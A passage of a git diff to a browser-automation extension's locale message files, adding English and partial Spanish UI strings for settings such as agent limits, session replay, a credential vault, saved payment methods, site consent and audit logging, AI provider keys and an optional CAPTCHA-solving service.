}, + "panel_00604d2592": { + "message": "Review Claude plans and billing" + }, + "panel_b9f2d95fd0": { + "message": "Fine-tune automation behavior and performance" + }, + "panel_d987fa1b93": { + "message": "Appearance of the control panel" + }, + "panel_1b0daa3cbf": { + "message": "System follows your operating system appearance. Default: System." + }, + "panel_0c2634ded4": { + "message": "Execution & Limits" + }, + "panel_a429108292": { + "message": "Automation Limits" + }, + "panel_a6db09cd31": { + "message": "Control task execution boundaries" + }, + "panel_7f9bd64777": { + "message": "Max Iterations" + }, + "panel_efb8da8405": { + "message": "Prevents runaway automation loops" + }, + "panel_217a08135e": { + "message": "DOM Analysis" + }, + "panel_f57d34cd62": { + "message": "Optimize page element processing" + }, + "panel_f239d1c5e2": { + "message": "Element Limit" + }, + "panel_a0981cec31": { + "message": "Balance between coverage and speed" + }, + "panel_44551744d4": { + "message": "Element Cache Size" + }, + "panel_bc63ff6878": { + "message": "50 (Minimal - simple pages)" + }, + "panel_6e13b13acc": { + "message": "100 (Light - standard pages)" + }, + "panel_f5e5f028c7": { + "message": "200 (Standard - recommended)" + }, + "panel_51a4656787": { + "message": "500 (Heavy - complex SPAs)" + }, + "panel_b497c0b77d": { + "message": "Custom..." + }, + "panel_3bba622285": { + "message": "Cached element lookups for faster repeated queries. Higher = faster on complex pages, more memory." + }, + "panel_964b6d2feb": { + "message": "Agent Concurrency" + }, + "panel_93bdf716dc": { + "message": "Maximum simultaneous agents" + }, + "panel_05f46c29ed": { + "message": "Concurrency Cap" + }, + "panel_599bc7e4ae": { + "message": "Reset to recommended (8)" + }, + "panel_26f41aac5c": { + "message": "Must be between 1 and 64" + }, + "panel_dd39c865d3": { + "message": "0 of 8 active" + }, + "panel_8b2e97f4e5": { + "message": "Trigger Concurrency" + }, + "panel_1844d05c26": { + "message": "Maximum simultaneous trigger watches" + }, + "panel_5aa4aff46c": { + "message": "Reset to default (8)" + }, + "panel_4f6e909317": { + "message": "Automation Behavior" + }, + "panel_87fb620509": { + "message": "Action Change Reports" + }, + "panel_8807532414": { + "message": "Inline diff returned with each action" + }, + "panel_5d2f08be69": { + "message": "Return action change reports (recommended)" + }, + "panel_814f4c658e": { + "message": "MCP Session Replay" + }, + "panel_d93120e9c3": { + "message": "Local, exact-fidelity history for MCP agent actions" + }, + "panel_e3d0d26ac8": { + "message": "Record MCP sessions for replay" + }, + "panel_8c338dcb22": { + "message": "MCP replay retention (days)" + }, + "panel_a3a33e657a": { + "message": "Performance Optimizations" + }, + "panel_318ba4fefb": { + "message": "Enable smart features to improve speed and accuracy" + }, + "panel_718ec50194": { + "message": "Delta Diffing" + }, + "panel_4df3ccd4f7": { + "message": "Send only DOM changes after first scan (70-90% context reduction)" + }, + "panel_386c10cfbb": { + "message": "Viewport Priority" + }, + "panel_55b7c33a00": { + "message": "Focus on visible elements for faster, more relevant results" + }, + "panel_56cb122532": { + "message": "AI Site Map Refinement" + }, + "panel_bbabb56b4f": { + "message": "Automatically refine site maps with AI for navigation strategies and workflow detection" + }, + "panel_6a63ec792f": { + "message": "Visual Feedback" + }, + "panel_d9db4fd5a6": { + "message": "Control visual indicators during automation" + }, + "panel_882726c86c": { + "message": "Animated Action Highlights" + }, + "panel_525c3926bb": { + "message": "Show a pulsing glow around elements while actions are being performed" + }, + "panel_b8c545e36f": { + "message": "Sidepanel Step Progress" + }, + "panel_cd7487b136": { + "message": "Show action steps in the side panel during automation" + }, + "panel_915c0ef81c": { + "message": "Privacy & Developer" + }, + "panel_02d7d5cfae": { + "message": "Voice Input" + }, + "panel_936f490e8e": { + "message": "Control microphone input in the FSB side panel" + }, + "panel_92f7b96921": { + "message": "Enable microphone voice input" + }, + "panel_e007c1f5fd": { + "message": "Checking microphone permission…" + }, + "panel_7df7702416": { + "message": "Chrome manages the extension-wide microphone grant." + }, + "panel_5e09a0b0eb": { + "message": "Enable microphone" + }, + "panel_2c0acdeddf": { + "message": "Open Chrome settings" + }, + "panel_d7de9cfa12": { + "message": "Developer Options" + }, + "panel_fef2fc10ae": { + "message": "Tools for debugging and troubleshooting" + }, + "panel_5f75368293": { + "message": "Debug Mode" + }, + "panel_64b2d259ae": { + "message": "Enable verbose console logging for troubleshooting automation issues" + }, + "panel_38d35a351e": { + "message": "Privacy & Telemetry" + }, + "panel_21bf1bebea": { + "message": "Anonymous usage data" + }, + "panel_451d787c00": { + "message": "Send anonymous usage data" + }, + "panel_57f9a109d4": { + "message": "Tokens used, MCP client name, active agent count. No URLs, prompts, or DOM." + }, + "panel_9ec9376910": { + "message": "Read full policy →" + }, + "panel_04dfac3671": { + "message": "Disconnected" + }, + "panel_acf2db1614": { + "message": "Server Sync" + }, + "panel_609bbbdf07": { + "message": "Hash Key" + }, + "panel_534803768c": { + "message": "Pair Dashboard" + }, + "panel_9a177de63c": { + "message": "Scan to Pair" + }, + "panel_43e3ece73f": { + "message": "remaining" + }, + "panel_5ad3dbd124": { + "message": "Got it" + }, + "panel_c9b3c38247": { + "message": "Total" + }, + "panel_a69c4dece1": { + "message": "Storage" + }, + "panel_ae65d09655": { + "message": "Capacity" + }, + "panel_a039dfb962": { + "message": "Tokens" + }, + "panel_4bc74b2135": { + "message": "Task" + }, + "panel_2f36130ebc": { + "message": "Consolidate" + }, + "panel_ddceb7adfd": { + "message": "Clear All" + }, + "panel_6cc8519b91": { + "message": "Go" + }, + "panel_d3f7409ad7": { + "message": "Stop All" + }, + "panel_f00611c47f": { + "message": "Automatically recommended for your system. Range 1 to 64. Lower = predictable resource use; higher = more parallel agents. Lowering this value while active agents are running does not evict them; new claims past the new cap are rejected (grandfather behavior)." + }, + "panel_bfd6b0808c": { + "message": "Default 8. Range 1 to 64. Lower = predictable resource use; higher = more parallel watches. Lowering this value while triggers are active does not stop existing watches; new triggers past the new cap are rejected." + }, + "panel_552aa7152b": { + "message": "Returns a compact diff describing what each action changed, so the AI doesn't need to re-read the page. Default on." + }, + "panel_bb0522a484": { + "message": "Default 30. Range 1 to 365 days. This automatically deletes expired MCP replay sessions only; Autopilot history is never pruned by this setting." + }, + "panel_77f6039567": { + "message": "Show the microphone in the side panel and allow browser speech recognition or OpenAI Whisper. Default on." + }, + "panel_509f0b9d50": { + "message": "Turning voice input off stops FSB from using your microphone, but does not revoke Chrome's saved permission." + }, + "panel_76e917ee87": { + "message": "Pair this extension with the FSB dashboard for remote control and result storage" + }, + "panel_c11de3bb2e": { + "message": "Connect to FSB server for result storage and dashboard access" + }, + "panel_097b5fa7f6": { + "message": "Generate a key, then pair the dashboard to link this browser to the FSB server." + }, + "panel_75d0625c55": { + "message": "Background agents have left the building" + }, + "panel_d17d0cfd98": { + "message": "FSB stays focused on precise single-attempt browser execution. Scheduled and recurring task work is better served by tools built for it:" + }, + "panel_5a694f4532": { + "message": "for an open-source agent loop, and" + }, + "panel_6e34781c2f": { + "message": "for managed long-running automations. Pick whichever fits the way you work." + }, + "panel_e76c360683": { + "message": "Try OpenClaw" + }, + "panel_1a58d9154d": { + "message": "Try Claude Routines" + }, + "panel_582ba53e9e": { + "message": "Retired in v0.9.45rc1 · April 2026" + }, + "panel_daa7068396": { + "message": "Your previous agents" + }, + "panel_3107f72f47": { + "message": "Names of agents that lived on this profile, kept here so nothing feels lost. Definitions remain in chrome.storage.local['bgAgents'] (untouched)." + }, + "panel_9f83a0b7bf": { + "message": "Long-term memory learned from past automation sessions" + }, + "panel_76a6bcf157": { + "message": "Auto-Analyze" + }, + "panel_50d0c5511b": { + "message": "Episodic" + }, + "panel_9c11c99c77": { + "message": "Semantic" + }, + "panel_2e3e91ffbd": { + "message": "Procedural" + }, + "panel_ee6cfab445": { + "message": "Cost (30d)" + }, + "panel_bc01325482": { + "message": "All Types" + }, + "panel_96452046b5": { + "message": "No memories stored yet. Memories are automatically extracted from completed automation sessions." + }, + "panel_ba7fab765c": { + "message": "Reconnaissance" + }, + "panel_cf0e1ec867": { + "message": "Crawl a website to map its interactive structure, navigation, and selectors" + }, + "panel_ad2f160b7b": { + "message": "Max Depth" + }, + "panel_53e4d8efcc": { + "message": "Max Pages" + }, + "panel_8ccc2c0e78": { + "message": "Research Results" + }, + "panel_452d842e33": { + "message": "View and download site reconnaissance data, or save as site map memories" + }, + "panel_df63a2da5f": { + "message": "No research results yet. Use Reconnaissance above to crawl a website." + }, + "panel_30c19209ac": { + "message": "Consolidated Memory" + }, + "panel_ba41142e62": { + "message": "Site Maps" + }, + "panel_bb501d7877": { + "message": "Community" + }, + "panel_d4b1ea5708": { + "message": "Overview" + }, + "panel_e72d5d8d0b": { + "message": "Expanded" + }, + "panel_73cde2ba51": { + "message": "E-Commerce & Shopping" + }, + "panel_8dfdbc2ef4": { + "message": "Social Media" + }, + "panel_6c335e2a76": { + "message": "Finance & Trading" + }, + "panel_822c302ddc": { + "message": "Travel & Booking" + }, + "panel_7b1b7b315b": { + "message": "Email Platforms" + }, + "panel_cbb811ada2": { + "message": "Coding Platforms" + }, + "panel_c47f423a0a": { + "message": "Career & Job Search" + }, + "panel_08cf7301b0": { + "message": "Gaming Platforms" + }, + "panel_2d995d5860": { + "message": "Productivity Tools" + }, + "panel_95bfe584eb": { + "message": "Design & Whiteboard" + }, + "panel_d9dae78103": { + "message": "Games" + }, + "panel_d357175cfe": { + "message": "Media" + }, + "panel_6eb00b4b26": { + "message": "Music" + }, + "panel_69752f2313": { + "message": "News" + }, + "panel_71bf90935f": { + "message": "Reference" + }, + "panel_9b1f5daf0a": { + "message": "Sports" + }, + "panel_0a035c2b85": { + "message": "Utilities" + }, + "panel_4b7ef9d8cd": { + "message": "Monitor automation activity and troubleshoot issues" + }, + "panel_65e5078378": { + "message": "Clear Logs" + }, + "panel_5ddbf16ab1": { + "message": "Export Logs" + }, + "panel_03f1acb9e6": { + "message": "All Logs" + }, + "panel_ee585cc4bd": { + "message": "Errors Only" + }, + "panel_0b3ff2c6ee": { + "message": "Warnings & Errors" + }, + "panel_2d9e112fc2": { + "message": "Info & Above" + }, + "panel_122df75095": { + "message": "FSB Control Panel loaded successfully" + }, + "panel_edeead3f19": { + "message": "Session History" + }, + "panel_fba294fa8b": { + "message": "View and export logs from past automation sessions" + }, + "panel_7a28e26099": { + "message": "Clear All Sessions" + }, + "panel_600cf8138b": { + "message": "No sessions recorded yet. Run an automation task to see session logs here." + }, + "panel_e38737d4e5": { + "message": "Analytics Debug Tools" + }, + "panel_c0b1dd0e52": { + "message": "Test and verify analytics data collection" + }, + "panel_bc93dddbb3": { + "message": "Test Token Tracking" + }, + "panel_4267998cbe": { + "message": "View Storage Data" + }, + "panel_056a9215e5": { + "message": "Clear Analytics Data" + }, + "panel_2ed2274015": { + "message": "Export Data" + }, + "panel_a239457076": { + "message": "Debug Output:" + }, + "panel_38b6a17864": { + "message": "Consent & Audit" + }, + "panel_94ef5e0fd6": { + "message": "The default below applies to every site you have not configured; the per-origin list lets you opt individual sites out." + }, + "panel_6e133ee86d": { + "message": "Default for New Sites" + }, + "panel_9693a6dbf3": { + "message": "Financial and government services are always blocked regardless of this setting. Shipped as Auto; set to Off to restore strict opt-in." + }, + "panel_01914d2038": { + "message": "Per-Origin Consent" + }, + "panel_96db3ff001": { + "message": "Every site follows the default above unless you override it here. Set a site to Off to stop FSB acting on it." + }, + "panel_48cfb671aa": { + "message": "No sites yet. Every site FSB acts on appears here so you can set it to Off (opt out). New sites follow the default above." + }, + "panel_2c64c030d4": { + "message": "Sensitive" + }, + "panel_18f2a0947f": { + "message": "Blocked" + }, + "panel_5f351832fd": { + "message": "Allow mutating (write) calls" + }, + "panel_45a8c38cdf": { + "message": "Compatibility metadata for POST/PUT/PATCH/DELETE. Under Auto, FSB can perform reads and writes on non-blocked origins." + }, + "panel_87b1794408": { + "message": "Pending Requests" + }, + "panel_0334c4fb39": { + "message": "0 pending" + }, + "panel_10fd874b68": { + "message": "write" + }, + "panel_47751f88ed": { + "message": "Audit Log" + }, + "panel_818cb91030": { + "message": "Export Log" + }, + "panel_533e26bdcc": { + "message": "Clear Log" + }, + "panel_33b93476cf": { + "message": "Time" + }, + "panel_d3e1c5f8a6": { + "message": "Origin" + }, + "panel_5faf58a69d": { + "message": "Capability" + }, + "panel_52a0f9b65b": { + "message": "Method" + }, + "panel_bce87826df": { + "message": "Side Effect" + }, + "panel_d37e0cd00f": { + "message": "Consent" + }, + "panel_4e80abb5b1": { + "message": "Outcome" + }, + "panel_5934628d0f": { + "message": "Legal & Service Policy" + }, + "panel_fea0aab06e": { + "message": "Read the legal posture →" + }, + "panel_4fc14539b2": { + "message": "View blocked services →" + }, + "panel_efc0b9cac2": { + "message": "Privacy policy →" + }, + "panel_bfe73827c5": { + "message": "Enable Auto-Login" + }, + "panel_bbf6a83734": { + "message": "Credential Vault" + }, + "panel_07dd5f0064": { + "message": "Checking vault status..." + }, + "panel_50b231118c": { + "message": "Lock Vault" + }, + "panel_ac22d297f8": { + "message": "Choose PIN length" + }, + "panel_3e785bbc44": { + "message": "4 digits" + }, + "panel_7856e511a2": { + "message": "6 digits" + }, + "panel_f246c76813": { + "message": "Enter PIN" + }, + "panel_4fa10c7baa": { + "message": "Confirm PIN" + }, + "panel_73134c8143": { + "message": "Set Up Vault" + }, + "panel_872ac152d2": { + "message": "Enter your PIN to unlock" + }, + "panel_b41986e3f5": { + "message": "Unlock Vault" + }, + "panel_c1dc92c680": { + "message": "Add New" + }, + "panel_35d74dfd8d": { + "message": "Add Credential" + }, + "panel_85a85dc9a2": { + "message": "Website / Domain" + }, + "panel_657144f3f7": { + "message": "Username / Email" + }, + "panel_e7cf3ef4f1": { + "message": "Password" + }, + "panel_6239b93e96": { + "message": "Notes (optional)" + }, + "panel_9caa27b9d0": { + "message": "Allow this credential on subdomains" + }, + "panel_8816182605": { + "message": "Example: a credential saved for" + }, + "panel_eb1c90412b": { + "message": "can also be used on" + }, + "panel_195ab9772f": { + "message": "Enable Saved Payment Methods" + }, + "panel_b45d64e4a3": { + "message": "Saved Payment Methods" + }, + "panel_a92743920d": { + "message": "Checking payment method status..." + }, + "panel_bbc3d7eb41": { + "message": "Lock Payment Methods" + }, + "panel_24e06db48e": { + "message": "Open Passwords" + }, + "panel_186f818f5f": { + "message": "Unlock Saved Payment Methods" + }, + "panel_82f87079c6": { + "message": "Add Card" + }, + "panel_b610b1ecca": { + "message": "Add Payment Method" + }, + "panel_7cbcb92acd": { + "message": "Nickname (optional)" + }, + "panel_85dfa9ba97": { + "message": "Shown in the card picker and saved-cards list." + }, + "panel_d6bc26851d": { + "message": "Cardholder Name" + }, + "panel_4566e068a2": { + "message": "Card Number" + }, + "panel_b764cdc0ea": { + "message": "Unknown" + }, + "panel_25ec19a82f": { + "message": "Card brand is detected automatically as you type." + }, + "panel_43533009b2": { + "message": "Expiry Month" + }, + "panel_310ca503ef": { + "message": "Month" + }, + "panel_ca7aaef8c5": { + "message": "Expiry Year" + }, + "panel_8a944d3d0e": { + "message": "Billing Name" + }, + "panel_1b77352e0b": { + "message": "Billing Address Line 1" + }, + "panel_ff2bc02380": { + "message": "Billing Address Line 2 (optional)" + }, + "panel_fc33f73246": { + "message": "City" + }, + "panel_9630a4b030": { + "message": "State / Region" + }, + "panel_8198b202a8": { + "message": "Postal Code" + }, + "panel_701d021d08": { + "message": "Country" + }, + "panel_d00eca1bae": { + "message": "Getting Started" + }, + "panel_c772928cb0": { + "message": "Learn the basics of browser automation with FSB" + }, + "panel_584aa47f13": { + "message": "Visit Website" + }, + "panel_b50c780ec8": { + "message": "Guided Setup" + }, + "panel_01c470e51f": { + "message": "Restart Setup" + }, + "panel_c205924de0": { + "message": "Documentation" + }, + "panel_ed16cec106": { + "message": "View Repository" + }, + "panel_4c4a152a2b": { + "message": "Support & FAQ" + }, + "panel_7302582a6f": { + "message": "Open Support" + }, + "panel_d4a48a753a": { + "message": "MCP Setup" + }, + "panel_2df575344e": { + "message": "View MCP Guide" + }, + "panel_506ff39462": { + "message": "Privacy Policy" + }, + "panel_377733b622": { + "message": "View Privacy Policy" + }, + "panel_666067dd37": { + "message": "Issues" + }, + "panel_cf82dd02e8": { + "message": "View Issues" + }, + "panel_bc47da663d": { + "message": "Source Code" + }, + "panel_6209d4d395": { + "message": "View GitHub" + }, + "panel_bd4702c187": { + "message": "Release Notes" + }, + "panel_1705ccc5a5": { + "message": "View Releases" + }, + "panel_c011d6097b": { + "message": "License" + }, + "panel_b392d33f2e": { + "message": "View License" + }, + "panel_a4b17bc7db": { + "message": "You have unsaved changes" + }, + "panel_8e0f9288e2": { + "message": "How FSB treats a site you have not configured. Auto lets FSB call any non-blocked site's authenticated API (reads and writes). Off requires you to enable each site first. Ask queues a request for your approval." + }, + "panel_811f8544eb": { + "message": "Requests waiting on your decision. Granting one lets the caller retry; FSB never acts without your approval." + }, + "panel_b04eb08367": { + "message": "No pending requests. When a tool needs consent it appears here. You can also grant access ahead of time from the list above." + }, + "panel_1fdd802663": { + "message": "A redacted, append-only record of capability calls. No arguments, tokens, cookies, or response bodies are ever stored." + }, + "panel_787513f4fd": { + "message": "No audit entries yet. Capability calls are recorded here once you allow an origin. Entries are redacted and stored locally only." + }, + "panel_323d6ff1f1": { + "message": "FSB's automation posture, audit retention, and the consent model are documented in LEGAL.md. Some origins are blocked from automation by the service denylist." + }, + "panel_e31b2a3d3f": { + "message": "Manage saved credentials and the shared credential vault for assisted sign-in" + }, + "panel_93f508370d": { + "message": "When enabled, FSB will detect login pages and offer to sign in automatically using saved credentials" + }, + "panel_10f7c25d31": { + "message": "Choose a PIN to protect saved credentials. Existing legacy credentials will be migrated automatically." + }, + "panel_50c3db852a": { + "message": "Unlock to view, edit, autofill, or save passwords." + }, + "panel_b6680d54b2": { + "message": "Vault unlocked for this browser session. Saved credentials are available below." + }, + "panel_8d5ab0fe44": { + "message": "Auto-Login is currently disabled. You can still manage saved credentials here, but FSB will not use or save them automatically until you enable it." + }, + "panel_c533cc0b87": { + "message": "No saved credentials yet. Credentials will be saved automatically when you sign in during automation, or you can add them manually." + }, + "panel_0153e2da59": { + "message": "Enter the website domain (e.g., github.com, mail.google.com)" + }, + "panel_83c6ad5aef": { + "message": "Manage saved cards for assisted checkout. Payment methods share the credential vault configured in Passwords." + }, + "panel_ff7378d58d": { + "message": "When enabled, FSB can prompt to fill a saved card on checkout pages. It never submits the final payment automatically." + }, + "panel_7d1624ea92": { + "message": "Unlock the credential vault before managing saved payment methods." + }, + "panel_ad5f8e8263": { + "message": "Enter your vault PIN to unlock payment methods" + }, + "panel_2035e1f48d": { + "message": "Saved cards use the same encrypted vault but require a separate unlock before checkout fills in this browser session." + }, + "panel_0ec4dc2534": { + "message": "Saved payment methods are unlocked for this browser session. FSB can prompt to fill a saved card on detected checkout pages, but it will never submit the final payment automatically." + }, + "panel_5d38d8a7cf": { + "message": "Saved Payment Methods is currently disabled. You can still manage stored cards here, but FSB will not offer them during checkout until you enable the feature." + }, + "panel_2fd67f06e0": { + "message": "No saved payment methods yet. Add a card here so FSB can offer it on checkout pages after you unlock payment access." + }, + "panel_928895f662": { + "message": "CVV and billing profile data are stored encrypted inside your local vault. Review local device security before using this feature." + }, + "panel_39d561254a": { + "message": "Save Card" + }, + "panel_e4d896bcce": { + "message": "Get help and learn more about FSB features" + }, + "panel_32623395c6": { + "message": "Re-run the onboarding walkthrough to change your provider or MCP setup" + }, + "panel_db4cec18bf": { + "message": "Complete documentation and setup guides for FSB" + }, + "panel_63dfe63d28": { + "message": "Browse FAQs and fix common connection issues" + }, + "panel_d2286811e6": { + "message": "Connect MCP clients like Claude Code and Cursor, then verify with the doctor command" + }, + "panel_f3cb441c27": { + "message": "Read how FSB handles data, storage, and optional server sync" + }, + "panel_476481e410": { + "message": "Report bugs, request features, and track development progress" + }, + "panel_89b47ad370": { + "message": "View the source code and contribute to FSB development" + }, + "panel_f775bb5cbf": { + "message": "See what's new and changed in each FSB release" + }, + "panel_8abc0aef4e": { + "message": "FSB is open source under the MIT license" + }, + "panel_e235f8135c": { + "message": "Join other FSB users and follow along for updates" + }, + "panel_53e5555e9a": { + "message": "Stores replay data locally while redacting secret-bearing fields and sensitive inputs. Ordinary typed text and action results remain available for replay. MCP clients can save a local task memory by providing a secret-free completion, partial, or failure summary; no separate AI-provider call is made. Turning this off stops future MCP recording and saves any open recording. Existing MCP replay history stores up to the 50 most recent sessions, and no session is kept longer than the configured retention period. Autopilot history is unaffected." + }, + "panel_65b7096b6d": { + "message": "Automation prohibited for this origin. " + }, + "panel_d50f8b527c": { + "message": "Sensitive origin. Capability invocations can run under Auto; network-capture discovery still requires confirmation." + }, + "panel_47d2a515ef": { + "message": "Loading..." + }, + "panel_90e89ecfe7": { + "message": "Load next 500 events" + }, + "panel_935f2565d7": { + "message": "Retry loading events" + }, + "panel_4eee87e82f": { + "message": "Unable to reach vault service" + }, + "panel_08bf951eda": { + "message": "No vault configured. Create one to protect saved credentials." + }, + "panel_949bcb5f38": { + "message": "Vault is locked." + }, + "panel_30cef3bfb8": { + "message": "Vault unlocked for this session." + }, + "panel_05dc3c4c0a": { + "message": "Error checking vault status." + }, + "panel_890a216b7c": { + "message": "Unlocking..." + }, + "panel_def70944c9": { + "message": "Creating..." + }, + "panel_93ad91e855": { + "message": "Unlock the credential vault first." + }, + "panel_8221f05f8b": { + "message": "Payment methods are locked." + }, + "panel_0b4ba676b0": { + "message": "Payment methods unlocked for this session." + }, + "panel_b82d31b688": { + "message": "Error checking payment status." + }, + "panel_b197ab1d9b": { + "message": "Configure a vault PIN in Passwords first." + }, + "panel_160419ae70": { + "message": "Payment methods are unlocked." + }, + "panel_507fc32dc5": { + "message": "Edit Agent" + }, + "panel_fb25598ed0": { + "message": "Create New Agent" + }, + "panel_6c02a28421": { + "message": "Testing..." + }, + "panel_22965568d2": { + "message": "Connected" + }, + "panel_ee172faa9c": { + "message": "Invalid key" + }, + "panel_031a8f0f65": { + "message": "Failed" + }, + "panel_424a2551d3": { + "message": "Expired" + }, + "panel_c7730178f4": { + "message": "Generate new code" + }, + "panel_ac116124f7": { + "message": "Could not generate pairing code. Try again." + }, + "panel_d03fd96d28": { + "message": "Choose a loaded model..." + }, + "panel_e189657f5a": { + "message": "No models match" } } diff --git a/extension/_locales/es/messages.json b/extension/_locales/es/messages.json index 7624773ca..72ab6734a 100644 --- a/extension/_locales/es/messages.json +++ b/extension/_locales/es/messages.json @@ -396,5 +396,1259 @@ }, "shell_error_status": { "message": "Fallo" + }, + "panel_67b6964686": { + "message": "Panel" + }, + "panel_8ad747d05c": { + "message": "Configuración de API" + }, + "panel_8d261a372f": { + "message": "Sincronización" + }, + "panel_703390318b": { + "message": "Versión beta" + }, + "panel_be146b37a0": { + "message": "Contraseñas" + }, + "panel_632e1c5839": { + "message": "Pagos" + }, + "panel_22d4f6088b": { + "message": "Ajustes avanzados" + }, + "panel_c3963aedaa": { + "message": "Memoria" + }, + "panel_480d3c119a": { + "message": "Registros y depuración" + }, + "panel_2ccff1d108": { + "message": "Ayuda y documentación" + }, + "panel_db17c74beb": { + "message": "Supervisa el uso de AI, los costos y el rendimiento de la automatización" + }, + "panel_cd41bf0d3e": { + "message": "Tokens totales" + }, + "panel_dfa5cc738d": { + "message": "Costo total" + }, + "panel_ada27592c9": { + "message": "Solicitudes" + }, + "panel_5068c6c343": { + "message": "Tasa de éxito" + }, + "panel_d909750b1b": { + "message": "Automatización" + }, + "panel_cddf50281d": { + "message": "Uso de tokens a lo largo del tiempo" + }, + "panel_615c5daff4": { + "message": "Últimas 24 horas" + }, + "panel_b84372e5cb": { + "message": "Últimos 7 días" + }, + "panel_e9ddf63b38": { + "message": "Últimos 30 días" + }, + "panel_5e4bc34faf": { + "message": "Configura el proveedor del modelo de AI y los ajustes de API" + }, + "panel_9b3cf4a154": { + "message": "Configuración del modelo de AI" + }, + "panel_84e1ec2c5b": { + "message": "Proveedor de AI" + }, + "panel_994f468aae": { + "message": "Elegir otro proveedor" + }, + "panel_e65d5614f4": { + "message": "Personalizado (compatible con OpenAI)" + }, + "panel_e69daa3849": { + "message": "Los proveedores de API usan claves locales. Las CLI de agente usan su inicio de sesión local existente." + }, + "panel_daa5fed227": { + "message": "Elegir otro proveedor de AI" + }, + "panel_822a9fabc1": { + "message": "Este proveedor ya no está disponible para el piloto automático. Selecciona y guarda otro proveedor antes de empezar una tarea nueva." + }, + "panel_5e2c614c23": { + "message": "Modelo" + }, + "panel_dfa17046ae": { + "message": "Indica la clave de API para listar los modelos" + }, + "panel_00889a77ec": { + "message": "Selecciona el modelo de AI que se usará" + }, + "panel_bc3286fa36": { + "message": "Clave de API de xAI" + }, + "panel_a3fb46f4c6": { + "message": "Obtén tu clave de API en" + }, + "panel_8e9faa30de": { + "message": ". Tu clave se guarda localmente en el navegador." + }, + "panel_53bca734db": { + "message": "Clave de API de Gemini" + }, + "panel_8418bdbdcd": { + "message": "Clave de API de OpenAI" + }, + "panel_e07165f5ce": { + "message": "Plataforma de OpenAI" + }, + "panel_959bc25166": { + "message": "Clave de API de Anthropic" + }, + "panel_c481af39b2": { + "message": "Consola de Anthropic" + }, + "panel_36e0497429": { + "message": "Clave de API de OpenRouter" + }, + "panel_84de34181d": { + "message": ". Accede a más de 200 modelos con una sola clave." + }, + "panel_018833a024": { + "message": "URL del servidor de LM Studio" + }, + "panel_3efaf1b1c1": { + "message": "Usa el servidor local compatible con OpenAI de LM Studio. No hace falta una clave de API. Los modelos se descubren en vivo desde" + }, + "panel_83419f15b8": { + "message": "Punto de conexión de API personalizado" + }, + "panel_cfb67fffe3": { + "message": "Escribe la URL completa del punto de conexión de API compatible con OpenAI" + }, + "panel_acb781f972": { + "message": "Clave de API personalizada" + }, + "panel_5e2e7207a6": { + "message": "Tu clave se guarda localmente en el navegador." + }, + "panel_abfe6d40e5": { + "message": "Voz a texto" + }, + "panel_5303c4374c": { + "message": "Usar OpenAI Whisper" + }, + "panel_14e36783b5": { + "message": "Requiere una clave de API de OpenAI. Si está desactivado, usa el reconocimiento de voz del navegador." + }, + "panel_e1461bf33a": { + "message": "Solucionador de CAPTCHA" + }, + "panel_2909841c62": { + "message": "Activar la resolución de CAPTCHA" + }, + "panel_1955b2ec44": { + "message": "Usa el servicio 2Captcha para resolver retos de reCAPTCHA v2, hCaptcha y Cloudflare Turnstile" + }, + "panel_5ac544cb2f": { + "message": "Clave de API de 2Captcha" + }, + "panel_a003f76423": { + "message": "Regístrate en" + }, + "panel_b6ff7ee96e": { + "message": "CLI del agente" + }, + "panel_a1272b91cf": { + "message": "Comprobando el inicio de sesión..." + }, + "panel_d696a35bdd": { + "message": "Perfil" + }, + "panel_3ac8bbca9a": { + "message": "Facturación" + }, + "panel_cec3a9b89b": { + "message": "Datos" + }, + "panel_ccf75fb483": { + "message": "Conectar SuperGrok" + }, + "panel_acfc5be785": { + "message": "Desconectar" + }, + "panel_1771a5d0f6": { + "message": "Continuar el inicio de sesión" + }, + "panel_888a2f4fc6": { + "message": "Revisar el uso de SuperGrok" + }, + "panel_d334745b85": { + "message": "Guía de instalación" + }, + "panel_adadface01": { + "message": "No informado" + }, + "panel_5bbbe53187": { + "message": "Inicio de sesión" + }, + "panel_774bf7db76": { + "message": "Estado de autenticación" + }, + "panel_2e5f79bb94": { + "message": "Comprobando..." + }, + "panel_02600e6189": { + "message": "Verificando la conexión de API" + }, + "panel_c02977b07e": { + "message": "Probar conexión" + }, + "panel_3907fa7f80": { + "message": "Apariencia" + }, + "panel_efb52e7172": { + "message": "Tema" + }, + "panel_6725e7bbcd": { + "message": "Según el sistema" + }, + "panel_60acc53f13": { + "message": "Oscuro" + }, + "panel_dbcd5e7bb7": { + "message": "Claro" + }, + "panel_19766ed6cc": { + "message": "Cancelar" + }, + "panel_1509f561f2": { + "message": "Guardar" + }, + "panel_35322b5bb5": { + "message": "Guardar cambios" + }, + "panel_eb1a70e392": { + "message": "Descartar" + }, + "panel_49e49bb440": { + "message": "Generar" + }, + "panel_0e91610117": { + "message": "Actualizar" + }, + "panel_3664895579": { + "message": "Exportar" + }, + "panel_2cff9baabf": { + "message": "Importar" + }, + "panel_78b7d0379d": { + "message": "Conceder" + }, + "panel_05a2d7332e": { + "message": "Denegar" + }, + "panel_ca7981b46e": { + "message": "Desactivado" + }, + "panel_b8c209cdea": { + "message": "Preguntar" + }, + "panel_0286249762": { + "message": "Automático" + }, + "panel_1a3a4b99db": { + "message": "Nadie ha informado de que FSB se detecte como un bot e interrumpa el trabajo. Aun así, no todos los días son fáciles. Esto está aquí para cuando no lo sea." + }, + "panel_1a187ac034": { + "message": ", añade saldo y copia la clave de API del panel. Resuelve reCAPTCHA v2, hCaptcha y Turnstile." + }, + "panel_92f1115a37": { + "message": "FSB usa el inicio de sesión local que ya tiene esta CLI. Probar conexión envía una solicitud pequeña de validación sin herramientas." + }, + "panel_cfaa352b86": { + "message": "xAI · arnés local" + }, + "panel_fd05c3a95a": { + "message": "Requiere el perfil revisado Grok Build 1.0.4. Probar conexión verifica la instalación, la versión, el aislamiento, ACP y el OAuth en caché sin enviar un prompt." + }, + "panel_ce4f452059": { + "message": "Usa tu cuenta de Grok con sesión iniciada. El uso de SuperGrok sale de su cupo semanal compartido; puede haber uso adicional." + }, + "panel_ba5c14963d": { + "message": "El texto de la tarea del navegador y los resultados MCP de FSB se envían a Grok para la inferencia. FSB desactiva la telemetría secundaria y la subida de trazas de este perfil privado." + }, + "panel_baf4338a6f": { + "message": "Anthropic · arnés local" + }, + "panel_7b14b6ca11": { + "message": "Usa la cuenta con la que iniciaste sesión en Claude Code. FSB no necesita tu credencial de Anthropic." + }, + "panel_8cceeb4d83": { + "message": "El uso y los cargos siguen el plan de Claude o la configuración de API de esa cuenta." + }, + "panel_d9daa99f67": { + "message": "Claude Code no informa un estado de autenticación que FSB pueda leer con seguridad." + }, + "panel_00604d2592": { + "message": 